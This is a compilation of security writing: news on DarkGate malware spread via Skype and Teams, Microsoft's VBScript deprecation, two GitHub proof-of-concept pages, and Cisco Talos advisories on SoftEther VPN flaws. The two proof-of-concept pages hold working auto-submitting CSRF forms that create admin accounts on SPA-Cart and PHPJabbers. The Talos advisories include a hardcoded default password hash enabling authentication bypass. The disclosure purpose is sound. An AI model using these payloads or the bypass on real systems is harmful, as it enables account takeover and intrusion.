A plurality of the targets in the ongoing campaign have been based in the Americas.

A threat actor is using compromised Skype and Microsoft Teams accounts to distribute DarkGate, a troublesome loader associated with multiple malicious activities, including information theft, keylogging, cryptocurrency miners, and ransomware such as Black Basta.

Forty-one percent of the targets of the campaign — which appears to have begun in August — are organizations in the Americas, according to researchers at Trend Micro who are tracking the activity.

In a report this week, Trend Micro also said its researchers had observed the developer of DarkGate begin to advertise the malware on underground forums and renting it out on a malware-as-a-service basis to affiliate threat actors. The pivot, after years of going it alone, has resulted in a recent surge in DarkGate activity after a relative lull.

**Microsoft Phishing Via Skype and Teams**

The operator of the DarkGate campaign that Trend Micro is currently tracking is using both Skype and Teams to distribute the malware. In one of the attacks, the threat actor took control of a Skype account belonging to an individual at an organization with whom the target recipient's organization had a trusted relationship. The adversary basically used the compromised Skype account to hijack an existing message thread and send a message that appeared to contain a PDF file but was actually a malicious VBS script. When the recipient executed the file, it initiated a sequence of steps to download and install DarkGate on the target computer.

In another attack that Trend Micro analyzed, the threat actor attempted to achieve the same outcome using a Teams account to send a message with a malicious .LNK file, to a target recipient. Unlike the Skype caper, where the threat actor purported to be someone belonging to a trusted third party, in the Teams variation, the recipient received the malicious message from an unknown, external entity. 

"In this case, the organization’s system allowed the victim to receive messages from external users, which resulted in them becoming a potential target of spam," Trend Micro said.

"We also observed a tertiary delivery method of using a VBA script wherein a .LNK file arrives in a compressed file from the originators' SharePoint site," the security vendor said. In this attack variation, the threat actor attempts to lure the victim to a specific SharePoint site, to download a file named "Significant company changes September.zip."

**DarkGate: A Potent Threat**

DarkGate is malware that has targeted users in various regions around the world since at least 2017. It integrates multiple relatively potent functions; for instance, the malware can execute commands for gathering system information, mapping networks, and doing directory traversal. It also implements remote desktop protocol (RDP), hidden virtual network computing, AnyDesk, and other remote access software. Other "features" include ones related to cryptocurrency mining, keylogging, privilege escalation, and stealing information from browsers.

For payload delivery and execution, DarkGate uses AutoIT, a legitimate Windows automation and scripting tool that authors of other malware families have used for obfuscation and defense evasion.

**DarkGate Offers Multiple Potential Payloads**

Trend Micro's analysis showed that once DarkGate is installed on a system, it drops additional payloads. Sometimes those are variants of DarkGate itself or of Remcos, a remote access Trojan (RAT) that attackers previously haveused for cyber-espionage surveillance and for stealing tax-related information.

Trend Micro said it was able to contain the DarkGate attacks it observed before any actual harm came to pass. But given the developer's apparent pivot to a new malware leasing model, enterprise security teams can expect more attacks from varied threat actors. The objectives of these adversaries could vary, meaning organizations need to keep an eye out for threat actors using DarkGate to infect systems with different kinds of malware.

While the attacks that Trend Micro observed targeted individual Skype and Teams recipients, the attacker's goal clearly was to use their systems as an initial foothold on the target organization's networks. "The goal is still to penetrate the whole environment, and depending on the threat group that bought or leased the DarkGate variant used, the threats can vary from ransomware to cryptomining," according to Trend Micro.

The security firm recommends that organizations enforce rules around the use of instant messaging applications such as Skype and Teams. These rules should include blocking external domains, controlling the use of attachments and implementing scanning measures if possible. Multifactor authentication is also crucial to prevent threat actors from misusing illegally obtained credentials to hijack IM accounts, Trend Micro said.

DarkGate Operator Uses Skype, Teams Messages to Distribute Malware

Popular malware like QakBot and DarkGate rely on VBScript, which dates back to 1996 — but their days are numbered now that Microsoft is finally deprecating the Windows programming language.

Microsoft announced this week that it's deprecating the timeworn VBScript — bad news for cybercriminals, for whom it's a favorite tool.

In future releases of Windows, VBScript will be available only as a feature on demand; and eventually, it will be removed from the operating system altogether.

The VBScript programming language, short for Visual Basic Script, is nearly 30 years old, having been introduced in the mid-90s as a lightweight way to natively generate programming scripts. But like grunge fashion and Neve Campbell movies, its pre-Y2K moment in the sun is long past.

Yet cybercriminals continue to use it as an avenue for initial access to targets, especially since Microsoft started blocking macros by default. Threat actors quickly discovered after its release that they could create malicious VBScripts that would run natively and unquestioned on Windows machines, which could help them smuggle in any number of remote access Trojans, downloaders, and more.

An early example of this was the "ILoveYou" worm from 2000, but more recent malware "gettin' VBS-y wit' it" (to malaprop another mid-90s sensation) include Emotet, QakBot, and DarkGate.

That class of malware's days now appear to be numbered.

"Initially, the VBScript feature on demand will be preinstalled to allow for uninterrupted use while you prepare for the retirement of VBScript," according to the official announcement from Redmond. In other words, for the interim period before full discontinuation, it will be disabled by default, but users can choose to turn it on if they wish.

Microsoft didn't provide a timeline for when it plans full removal of the tool.

Keep up with the latest cybersecurity threats, newly-discovered vulnerabilities, data breach information, and emerging trends. Delivered daily or weekly right to your email inbox.

Subscribe

Microsoft Set to Retire Grunge-Era VBScript, to Cybercrime's Chagrin

SPA-Cart 1.9.0.3 is vulnerable to Cross Site Request Forgery (CSRF) that allows a remote attacker to add an admin user with role status.

**Name already in use**

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

**1** branch **0** tags

Code

*   Use Git or checkout with SVN using the web URL.
    
*   Open with GitHub Desktop
*   Download ZIP

**Latest commit**

**Files**

Permalink

Failed to load latest commit information.

Type

Name

Latest commit message

Commit time

\# CVE-2023-43149
#Author : Aitor Herrero Fuentes

# Vendor: SPA-Cart
# Vendor Homepage: https://spa-cart.com/
# Software Link: https://demo.spa-cart.com/admin
# Version: 1.9.0.3
# Tested on: Windows 10 Pro

CSRF ADD ROOT ACCOUNT

Cross Site Request Forgery vulnerability in application demo.spa-cart.com allows a remote attacker to execute arbitrary code , add an malicius  user with "role status" with one click  
A CSRF vulnerability occurs when a malicious actor can trick a victim into performing an action that they did not intend to perform. In this case, the malicious actor could trick the victim into clicking on a link or opening a file that contains malicious code.
This code could then be used to delete all accounts.


POC

 1 - Make an file with with this CODE and SAVE in HTML 
 Attack Delete  All Account

<html>
    <body>
    <form action="https://demo.spa-cart.com/admin/user/859" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="posted&#95;data&#91;firstname&#93;" value="mal1" />
      <input type="hidden" name="posted&#95;data&#91;lastname&#93;" value="mal2" />
      <input type="hidden" name="posted&#95;data&#91;phone&#93;" value="156415641561" />
      <input type="hidden" name="posted&#95;data&#91;email&#93;" value="mal1&#64;test&#46;com" />
      <input type="hidden" name="password" value="" />
      <input type="hidden" name="posted&#95;data&#91;usertype&#93;" value="C" />
      <input type="hidden" name="posted&#95;data&#91;roleid&#93;" value="1" />
      <input type="hidden" name="posted&#95;data&#91;status&#93;" value="1" />
      <input type="hidden" name="posted&#95;data&#91;address&#93;" value="" />
      <input type="hidden" name="posted&#95;data&#91;city&#93;" value="" />
      <input type="hidden" name="posted&#95;data&#91;state&#93;" value="" />
      <input type="hidden" name="posted&#95;data&#91;country&#93;" value="AG" />
      <input type="hidden" name="posted&#95;data&#91;zipcode&#93;" value="05584" />
      <input type="hidden" name="posted&#95;data&#91;pending&#95;membershipid&#93;" value="1" />
      <input type="hidden" name="posted&#95;data&#91;membershipid&#93;" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms\[0\].submit();
    </script>
  </body>
</html>


2 - Example test.html

3 - Send to the victim

4 - When the victim open the html the file test.html will open in his navigator and when he will open and press click at the button
the code will changes in his actually session.

CVE-2023-43149: GitHub - MinoTauro2020/CVE-2023-43149: CVE-2023-43149

PHPJabbers Limo Booking Software 1.0 is vulnerable to Cross Site Request Forgery (CSRF) to add an admin user via the Add Users Function, aka an index.php?controller=pjAdminUsers&action=pjActionCreate URI.

**Name already in use**

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

**1** branch **0** tags

Code

*   Use Git or checkout with SVN using the web URL.
    
*   Open with GitHub Desktop
*   Download ZIP

**Latest commit**

**Files**

Permalink

Failed to load latest commit information.

Type

Name

Latest commit message

Commit time

\# CVE-2023-43147

 Vendor: PHPJabbers
 Vendor Homepage: https://www.phpjabbers.com/
 Software Link: https://www.phpjabbers.com/limo-booking-software
 Version: 1.0
 Tested on: Windows 10 Pro
 Impact: Add an attacker user with admin privileges
 CVE:

 Cross Site Request Forgery vulnerability in limo-booking-software allows a remote attacker to execute add and user with admin privileges
 

POC
 1 - Make an file with with this CODE and SAVE in HTML . If you save a new request to make a CSRF be sure that you change role\_id=0 to 1 (role\_id=1)

 <html>
    <body>
    <form action="https://demo.phpjabbers.com/1694190842\_980/index.php?controller=pjAdminUsers&action=pjActionCreate" method="POST">
      <input type="hidden" name="user&#95;create" value="1" />
      <input type="hidden" name="role&#95;id" value="1" />
      <input type="hidden" name="email" value="hacker&#64;admin&#46;tor" />
      <input type="hidden" name="password" value="admin1234" />
      <input type="hidden" name="name" value="admintor" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="status" value="T" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms\[0\].submit();
    </script>
  </body>
</html>

2 - Example test.html

3 - Send to the victim

4 - When the victim open the html the file test.html will open in his navigator and when he will open and press click at the button the code will changes in his actually session and one user will add in the panel admin
with admin privileges.

CVE-2023-43147: GitHub - MinoTauro2020/CVE-2023-43147: CVE-2023-43148

An information disclosure vulnerability exists in the CtEnumCa() functionality of SoftEther VPN 4.41-9782-beta and 5.01.9674. Specially crafted network packets can lead to a disclosure of sensitive information. An attacker can send packets to trigger this vulnerability.

**SUMMARY**

An information disclosure vulnerability exists in the CtEnumCa() functionality of SoftEther VPN 4.41-9782-beta and 5.01.9674. Specially crafted network packets can lead to a disclosure of sensitive information. An attacker can send packets to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftEther VPN 4.41-9782-beta  
SoftEther VPN 5.01.9674

**PRODUCT URLS**

SoftEther VPN - https://www.softether.org/

**CVSSv3 SCORE**

5.5 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

**CWE**

CWE-201 - Information Exposure Through Sent Data

**DETAILS**

SoftEther is a multi-platform VPN project that provides both server and client code to connect over a variety of VPN protocols, including Wireguard, PPTP, SSTP, L2TP, etc. SoftEther has a variety of features for both enterprise and personal use, and enables Nat Traversal out-of-the-box for remote-access setups behind firewalls.

Within the SoftEtherVPN client there exists some interesting architectural decisions, first and foremost being the fact that the SoftEtherVPN client itself consists of an RPC client and an RPC server. While the process differs on Linux and Windows, there are some core common elements. The VPN client’s RPC server binds to a given TCP port within the range of 9931-9936, on all interfaces, and then the VPN client’s RPC client connects to that port to send the VPN client commands. For ease of reference, we will be referring to these components as the RPC client and RPC server, but just know that these are both contained within the client-side portion of SoftEtherVPN.

Upon connection, the RPC client immediately authenticates to the RPC server with a message formed like “\\x00\\x00\\x00\\x01” for the message type and then a 20-byte SHA0 hash of the RPC server password. Assuming this authentication is bypassed in one way or another, legitimately or not, our RCP client then has access to the following RPC messages:

        if (StrCmpi(name, "GetClientVersion") == 0)
        else if (StrCmpi(name, "GetCmSetting") == 0)
        else if (StrCmpi(name, "SetCmSetting") == 0)
        else if (StrCmpi(name, "SetPassword") == 0) 
        else if (StrCmpi(name, "GetPasswordSetting") == 0)
        else if (StrCmpi(name, "EnumCa") == 0)    // [1]
        else if (StrCmpi(name, "AddCa") == 0) 
        else if (StrCmpi(name, "DeleteCa") == 0)
        else if (StrCmpi(name, "GetCa") == 0) 
        else if (StrCmpi(name, "EnumSecure") == 0)
        else if (StrCmpi(name, "UseSecure") == 0)
        else if (StrCmpi(name, "GetUseSecure") == 0) 
        else if (StrCmpi(name, "EnumObjectInSecure") == 0)
        else if (StrCmpi(name, "CreateVLan") == 0)
        else if (StrCmpi(name, "UpgradeVLan") == 0)
        else if (StrCmpi(name, "GetVLan") == 0) 
        else if (StrCmpi(name, "SetVLan") == 0) 
        else if (StrCmpi(name, "EnumVLan") == 0) 
        else if (StrCmpi(name, "DeleteVLan") == 0)
        else if (StrCmpi(name, "EnableVLan") == 0)
        else if (StrCmpi(name, "DisableVLan") == 0)
        else if (StrCmpi(name, "CreateAccount") == 0)
        else if (StrCmpi(name, "EnumAccount") == 0)
        else if (StrCmpi(name, "DeleteAccount") == 0)
        else if (StrCmpi(name, "SetStartupAccount") == 0)
        else if (StrCmpi(name, "RemoveStartupAccount") == 0)
        else if (StrCmpi(name, "GetIssuer") == 0)
        else if (StrCmpi(name, "GetCommonProxySetting") == 0)
        else if (StrCmpi(name, "SetCommonProxySetting") == 0)
        else if (StrCmpi(name, "SetAccount") == 0)
        else if (StrCmpi(name, "GetAccount") == 0)
        else if (StrCmpi(name, "RenameAccount") == 0)
        else if (StrCmpi(name, "SetClientConfig") == 0)
        else if (StrCmpi(name, "GetClientConfig") == 0)
        else if (StrCmpi(name, "Connect") == 0)
        else if (StrCmpi(name, "Disconnect") == 0)
        else if (StrCmpi(name, "GetAccountStatus") == 0)
    

All these RPC commands encompass the functionality of what the normal VPN client is capable of from the GUI or commandline, so there’s not really much to be gained if an attacker already has access to the user account of whomever is using this SoftetherVPN client. Since the RPC server binds to the network stack, another user on the same computer who is able to bypass the authentication mechanism has a lot of interesting things to play with. In this advisory we’re just going to be looking at the EnumCa command up at \[1\], whose code flow we examine below:

    else if (StrCmpi(name, "EnumCa") == 0)
    {
        RPC_CLIENT_ENUM_CA a;
        if (CtEnumCa(c, &a) == false)
        {
            RpcError(ret, c->Err);
        }
        else
        {
            OutRpcClientEnumCa(ret, &a);
            CiFreeClientEnumCa(&a);
        }
    }
    

Nothing too special here; all the RPC commands tend to follow this pattern. Let us quickly look at the RPC_CLIENT_ENUM_CA struct before continuing on into CtEnumCa:

    // Certificate enumeration item
    struct RPC_CLIENT_ENUM_CA_ITEM
    {
        UINT Key;                               // Certificate key  // [2]
        wchar_t SubjectName[MAX_SIZE];          // Issued to
        wchar_t IssuerName[MAX_SIZE];           // Issuer
        UINT64 Expires;                         // Expiration date
    };
    
    // Certificate enumeration
    struct RPC_CLIENT_ENUM_CA
    {
        UINT NumItem;                           // Number of items 
        RPC_CLIENT_ENUM_CA_ITEM **Items;        // Item             // [3]   
    };
    
    
    // Enumerate the trusted CA
    bool CtEnumCa(CLIENT *c, RPC_CLIENT_ENUM_CA *e)
    {
        // Validate arguments
        if (c == NULL || e == NULL)
        {
            return false;
        }
    
        Zero(e, sizeof(RPC_CLIENT_ENUM_CA));  
    
        LockList(c->Cedar->CaList);
        {
            UINT i;
            e->NumItem = LIST_NUM(c->Cedar->CaList);
            e->Items = ZeroMalloc(sizeof(RPC_CLIENT_ENUM_CA_ITEM *) * e->NumItem); // [4]
    
            for (i = 0;i < e->NumItem;i++)
            {
                X *x = LIST_DATA(c->Cedar->CaList, i);
                e->Items[i] = ZeroMalloc(sizeof(RPC_CLIENT_ENUM_CA_ITEM));
                GetAllNameFromNameEx(e->Items[i]->SubjectName, sizeof(e->Items[i]->SubjectName), x->subject_name);
                GetAllNameFromNameEx(e->Items[i]->IssuerName, sizeof(e->Items[i]->IssuerName), x->issuer_name);
                e->Items[i]->Expires = x->notAfter;
                e->Items[i]->Key = POINTER_TO_KEY(x); // [5]
            }
        }
        UnlockList(c->Cedar->CaList);
    
        return true;
    }
    

The codeflow is rather simple, copying the c->Cedar->CaList into the fore-mentioned RPC_CLIENT_ENUM_CA *e struct inside of a loop. An allocation is made to hold all of the RPC_CLIENT_ENUM_CA_ITEM * pointers \[4\], and then each of these pointers is graced with a corresponding object inside of the subsequent loop. Nothing looks out of the ordinary, but when setting the Key member of each struct\[2\] the POINTER_TO_KEY macro\[5\] is rather eye-catching. Let’s see what it does:

    // Convert the pointer to UINT
    #define POINTER_TO_KEY(p)       ((sizeof(void *) == sizeof(UINT)) ? (UINT)(p) : HashPtrToUINT(p))  // [6]
    
    
    // Hash a pointer to a 32-bit
    UINT HashPtrToUINT(void *p)
    {
        UCHAR hash_data[MD5_SIZE];
        UINT ret;
        // Validate arguments
        if (p == NULL)
        {
            return 0;
        }
    
        Hash(hash_data, &p, sizeof(p), false);  // [7]
    
        Copy(&ret, hash_data, sizeof(ret));     // [8]
    
        return ret;
    }
    
    // Hash function
    void Hash(void *dst, void *src, UINT size, bool sha)
    {
        // Validate arguments
        if (dst == NULL || (src == NULL && size != 0))
        {
            return;
        }
    
        if (sha == false)
        {
            // MD5 hash
            MD5(src, size, dst);               // [9]
        }
        // [...]
    }
    

At \[6\], we quickly see that if we’re dealing with a 32-bit machine, then the e->Items[i]->Key is just the pointer passed into the function, and in our case would just be the address of the x509 object inside of our global list (i.e. ((X *)c->Cedar->CaList[x]->p)->x509). In the case of 64-bit installations, it’s slightly more complicated, as the pointer gets hashed \[7\] (which for this code flow is just an MD5 sum \[9\]), and then the top four bytes of the hash are copied over into our return value \[8\].

But what does this mean in summary? Well, if we send an EnumCa RPC request to a 32-bit RPC server, then we get the heap addresses of all the CA certificates that are currently loaded, which is a pretty clear-cut information disclosure. For 64-bit RPC servers, the vulnerability is a little more obtuse, as we would need to generate a set of MD5 rainbow tables in order to know the address of all of the loaded CA certificates. This is not unreasonable, however, given the limited set of possible heap addresses.

**VENDOR RESPONSE**

The vendor issued an advisory: https://www.softether.org/9-about/News/904-SEVPN202301

**TIMELINE**

2023-06-12 - Vendor Disclosure  
2023-06-30 - Vendor Patch Release  
2023-10-12 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2023-32275: TALOS-2023-1753 || Cisco Talos Intelligence Group

An authentication bypass vulnerability exists in the CiRpcAccepted() functionality of SoftEther VPN 4.41-9782-beta and 5.01.9674. A specially crafted network packet can lead to unauthorized access. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

An authentication bypass vulnerability exists in the CiRpcAccepted() functionality of SoftEther VPN 4.41-9782-beta and 5.01.9674. A specially crafted network packet can lead to unauthorized access. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftEther VPN 4.41-9782-beta  
SoftEther VPN 5.01.9674

**PRODUCT URLS**

SoftEther VPN - https://www.softether.org/

**CVSSv3 SCORE**

7.3 - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

**CWE**

CWE-453 - Insecure Default Variable Initialization

**DETAILS**

SoftEther is a multi-platform VPN project that provides both server and client code to connect over a variety of VPN protocols, including Wireguard, PPTP, SSTP, L2TP, etc. SoftEther has a variety of features for both enterprise and personal use, and enables Nat Traversal out-of-the-box for remote-access setups behind firewalls.

Within the SoftEtherVPN client there exists some interesting architectural decisions, first and foremost being the fact that the SoftEtherVPN client itself consists of an RPC client and an RPC server. While the process differs on Linux and Windows, there are some core common elements. The VPN client’s RPC server binds to a given TCP port within the range of 9931-9936, on all interfaces, and then the VPN client’s RPC client connects to that port to send the VPN client commands. For ease of reference, we will be referring to these components as the RPC client and RPC server, but just know that these are both contained within the client-side portion of SoftEtherVPN.

The internal RPC process in the SoftEtherVPN client ends up occurring on localhost by default. There is still an authentication mechanism in order to protect against other users on the same machine, and also because the VPN client RPC server can be configured to allow non-localhost connections. We observe the RPC server code for authentication below:

    // RPC acceptance code
    void CiRpcAccepted(CLIENT *c, SOCK *s)
    {
        UCHAR hashed_password[SHA1_SIZE];
        UINT rpc_mode;
        UINT retcode;
        RPC *rpc;
        // Validate arguments
        if (c == NULL || s == NULL)
        {
            return;
        }
    
        // Receive the RPC mode
        if (RecvAll(s, &rpc_mode, sizeof(UINT), false) == false) // [1]
        {
            return;
        }
    
        rpc_mode = Endian32(rpc_mode);
    
        if (rpc_mode == CLIENT_RPC_MODE_NOTIFY)
        {
            // [...]
        }
        else if (rpc_mode == CLIENT_RPC_MODE_SHORTCUT || rpc_mode == CLIENT_RPC_MODE_SHORTCUT_DISCONNECT)
        {
            // [...]
        }
    
        // Password reception
        if (RecvAll(s, hashed_password, SHA1_SIZE, false) == false) // [2]
        {
            return;
        }
    
        retcode = 0;
    
        // Password comparison
        if (Cmp(hashed_password, c->EncryptedPassword, SHA1_SIZE) != 0) // [3]
        {
            retcode = 1;
        }
    
        if (c->PasswordRemoteOnly && IsLocalHostIP(&s->RemoteIP))
        {
            // If in a mode that requires a password only remote,
            // the password sent from localhost is considered to be always correct
            retcode = 0;
        }
    
        Lock(c->lock);
        {
            if (c->Config.AllowRemoteConfig == false)  // Default false on linux.
            {
                // If the remote control is prohibited,
                // identify whether this connection is from remote
                if (IsLocalHostIP(&s->RemoteIP) == false)
                {
                    retcode = 2;
                }
            }
        }
        Unlock(c->lock);
    
    // #define CLIENT_RPC_MODE_MANAGEMENT          1
    

After our RPC client connects to 0.0.0.0:9931, we receive four bytes to indicate the message type \[1\]. Assuming this message is of type CLIENT_RPC_MODE_MANAGEMENT, we skip down to receiving 0x14 more bytes \[2\], which is subsequently compared with the RPC server’s configured password \[3\]. If we look inside of our default vpn_client.config, we see that the c->EncryptedPassword corresponds to the configuration’s EncryptedPassword:

    # Software Configuration File
    # ---------------------------
    #
    # You may edit this file when the VPN Server / Client / Bridge program is not running.
    #
    # In prior to edit this file manually by your text editor,
    # shutdown the VPN Server / Client / Bridge background service.
    # Otherwise, all changes will be lost.
    #
    declare root
    {
        bool DontSavePassword false
        byte EncryptedPassword +WzqGYrR3VYXrAhKPZLGEHcIwO8=
    

And if we decode the RPC server password:

    $ echo -en "+WzqGYrR3VYXrAhKPZLGEHcIwO8=" | base64 -d | hexdump -C
    00000000  f9 6c ea 19 8a d1 dd 56  17 ac 08 4a 3d 92 c6 10  |.l.....V...J=...|
    00000010  77 08 c0 ef                                       |w...|
    00000014
    

Curiously, by default, the RPC client is able to connect to the RPC server without any configuration, which raises the question of where this password comes from. A quick browse through the source code quickly reveals the CiInitConfiguration function:

    // Initialize the settings
    void CiInitConfiguration(CLIENT *c)
    {
        // [...] 
    
        if (CiLoadConfigurationFile(c) == false)
        {
            CLog(c, "LC_LOAD_CONFIG_3");
            // Do the initial setup because the configuration file does not exist
            // Clear the password
            Sha0(c->EncryptedPassword, "", 0);            // [4]
            // Initialize the client configuration
            // Disable remote management
            c->Config.AllowRemoteConfig = false;
            StrCpy(c->Config.KeepConnectHost, sizeof(c->Config.KeepConnectHost), CLIENT_DEFAULT_KEEPALIVE_HOST);
            c->Config.KeepConnectPort = CLIENT_DEFAULT_KEEPALIVE_PORT;
            c->Config.KeepConnectProtocol = CONNECTION_UDP;
            c->Config.KeepConnectInterval = CLIENT_DEFAULT_KEEPALIVE_INTERVAL;
            c->Config.UseKeepConnect = false;   // Don't use the connection maintenance function by default in the Client
            // Eraser
            c->Eraser = NewEraser(c->Logger, 0);
        }
        else
        {
            CLog(c, "LC_LOAD_CONFIG_2");
        }
    

At \[4\] we can clearly see that the c->EncryptedPassword comes from this Sha0 function, which is called without input parameters. Following the code-flow, we eventually get to MY_SHA0_hash:

    /* Convenience function */
    const UCHAR* MY_SHA0_hash(const void* data, int len, UCHAR* digest) {
        MY_SHA0_CTX ctx;
        MY_SHA0_init(&ctx);
        MY_SHA0_update(&ctx, data, len);
        memcpy(digest, MY_SHA0_final(&ctx), MY_SHA0_DIGEST_SIZE);
        return digest;
    }
    

But since this hashing is somehow able to function without input, we have to look inside MY_SHA0_final:

    const UCHAR* MY_SHA0_final(MY_SHA0_CTX* ctx) {
        UCHAR *p = ctx->buf;
        UINT64 cnt = ctx->count * 8;
        int i;
        MY_SHA0_update(ctx, (UCHAR*)"\x80", 1); // [5]
        while ((ctx->count & 63) != 56) {
            MY_SHA0_update(ctx, (UCHAR*)"\0", 1);
        }
        for (i = 0; i < 8; ++i) {
            UCHAR tmp = (UCHAR) (cnt >> ((7 - i) * 8));
            MY_SHA0_update(ctx, &tmp, 1);
        }
        for (i = 0; i < 5; i++) {
            UINT tmp = ctx->state[i];
            *p++ = tmp >> 24;
            *p++ = tmp >> 16;
            *p++ = tmp >> 8;
            *p++ = tmp >> 0;
        }
        return ctx->buf;
    }
    

As we can see above, a “\\x80” byte is added to the sha context \[5\], as well as a given amount of padding bytes after. Regardless of the exact implementation, it suffices to say that this resulting hash from the Sha0 function never changes and will always by default be “\\xf9\\x6c\\xea\\x19\\x8a\\xd1\\xdd\\x56\\x17\\xac\\x08\\x4a\\x3d\\x92\\xc6\\x10\\x77\\x08\\xc0\\xef”. Since it is not common for a client program to consist of an internal RPC client and RPC server, it would be less expected for users to change this default password. This could lead to other local users gaining access to the RPC server, or remote users, if it is configured for it. If access is gained, certificates can be installed to allow for man-in-the-middle attacks on VPN connections. VPN authentication settings can be dumped, potentially leading to further compromise of the VPN endpoint.

**VENDOR RESPONSE**

The vendor issued an advisory: https://www.softether.org/9-about/News/904-SEVPN202301

**TIMELINE**

2023-06-12 - Vendor Disclosure  
2023-06-30 - Vendor Patch Release  
2023-10-12 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2023-27516: TALOS-2023-1754 || Cisco Talos Intelligence Group

An information disclosure vulnerability exists in the ClientConnect() functionality of SoftEther VPN 5.01.9674. A specially crafted network packet can lead to a disclosure of sensitive information. An attacker can perform a man-in-the-middle attack to trigger this vulnerability.

CVE-2023-31192: 2023/06/30: SE202301: Security Advisory: CVE-2023-27395 etc: Fixed 6 vulnerabilities of SoftEther VPN in cooperation with Cisco Systems, Inc.

An authentication bypass vulnerability exists in the CiRpcServerThread() functionality of SoftEther VPN 5.01.9674 and 4.41-9782-beta. An attacker can perform a local man-in-the-middle attack to trigger this vulnerability.

**SUMMARY**

An authentication bypass vulnerability exists in the CiRpcServerThread() functionality of SoftEther VPN 5.01.9674 and 4.41-9782-beta. An attacker can perform a local man-in-the-middle attack to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftEther VPN 4.41-9782-beta  
SoftEther VPN 5.01.9674

**PRODUCT URLS**

SoftEther VPN - https://www.softether.org/

**CVSSv3 SCORE**

7.8 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-300 - Channel Accessible by Non-Endpoint (‘Man-in-the-Middle’)

**DETAILS**

SoftEther is a multi-platform VPN project that provides both server and client code to connect over a variety of VPN protocols, including Wireguard, PPTP, SSTP, L2TP, etc. SoftEther has a variety of features for both enterprise and personal use, and enables Nat Traversal out-of-the-box for remote-access setups behind firewalls.

Within the SoftEtherVPN client there exists some interesting architectural decisions, first and foremost being the fact that the SoftEtherVPN client itself consists of an RPC client and an RPC server. While the process differs on Linux and Windows, there are some core common elements. The VPN client’s RPC server binds to a given TCP port within the range of 9931-9936, on all interfaces, and then the VPN client’s RPC client connects to that port to send the VPN client commands. For ease of reference, we will be referring to these components as the RPC client and RPC server, but just know that these are both contained within the client-side portion of SoftEtherVPN.

For this particular vulnerability, let us examine exactly how the server does network configuration on Linux:

    // RPC server thread
    void CiRpcServerThread(THREAD *thread, void *param)
    {
        CLIENT *c;
        SOCK *listener;
        UINT i;
        LIST *thread_list;
        // Validate arguments
        if (thread == NULL || param == NULL)
        {
            return;
        }
    
        c = (CLIENT *)param;
    
        // RPC connection list
        c->RpcConnectionList = NewList(NULL);
    
        // Open the port
        listener = NULL;
        for (i = CLIENT_CONFIG_PORT;i < (CLIENT_CONFIG_PORT + 5);i++) // 9931; 9936  // [1]
        {
            listener = Listen(i); // [2]
            if (listener != NULL)
            {
                break;
            }
        }
    
        if (listener == NULL)
        {
            // Error
            Alert(CEDAR_PRODUCT_STR " VPN Client RPC Port Open Failed.", CEDAR_CLIENT_STR);
            return;
        }
    

At \[1\], we see that we loop over the specific listen ports. At \[2\], we try to create a listener. Assuming that the listener fails, the RPC Server just keeps increasing the port until it finds an open one. But this begs the question of how the RPC Client knows which port to connect to, and we find the answer in CcConnectRpcEx:

    REMOTE_CLIENT *CcConnectRpcEx(char *server_name, char *password, bool *bad_pass, bool *no_remote, UCHAR *key, UINT *key_error_code, bool shortcut_disconnect, UINT wait_retry)
    {
        // [...]
    
    #ifdef  OS_WIN32
        // read the current port number from the registry of the localhost
        if (StrCmpi(server_name, "localhost") == 0)
        {
            reg_port = MsRegReadIntEx2(REG_LOCAL_MACHINE, CLIENT_WIN32_REGKEYNAME, CLIENT_WIN32_REGVALUE_PORT, false, true); // [3]
            reg_pid = MsRegReadIntEx2(REG_LOCAL_MACHINE, CLIENT_WIN32_REGKEYNAME, CLIENT_WIN32_REGVALUE_PID, false, true);
    
            if (reg_pid != 0)
            {
                if (MsIsServiceRunning(GC_SVC_NAME_VPNCLIENT) == false)
                {
                    reg_port = 0;
                }
            }
            else
            {
                reg_port = 0;
            }
        }
    
        if (reg_port != 0)
        {
            s = Connect(server_name, reg_port); // [4]
    
            if (s != NULL)
            {
                goto L_TRY;
            }
        }
    
    #endif  // OS_WIN32
    

At least for Windows, assuming our server is running on local host, then a registry key is grabbed at \[3\] which contains the correct port to connect to \[4\]. But if the SoftEther VPN service is not running, or we are connecting remotely, or if we are using a Linux RPC client, then we hit the following code:

        port_start = CLIENT_CONFIG_PORT - 1;
    
    RETRY:
        port_start++;
    
        if (port_start >= (CLIENT_CONFIG_PORT + 5))
        {
            return NULL;
        }
    
        ok = false;
    
        while (true)
        {
            for (i = port_start;i < (CLIENT_CONFIG_PORT + 5);i++) // [5]
            {
                if (CheckTCPPort(server_name, i)) // [6]
                {
                    ok = true;
                    break;
                }
    
        // [...]
        }
    
    if (ok == false)
    {
        if (key_error_code)
        {
            *key_error_code = ERR_CONNECT_FAILED;
        }
        return NULL;
    }
    
    
    port_start = i;
    
    s = Connect(server_name, i);  // [7]
    

Again, we iterate over our specific port range at \[5\] and try to see if the TCP port is open at \[6\]. If the TCP port is closed, it is not considered an error unless all ports are closed. Assuming we’ve found a valid open port, we connect at \[7\].

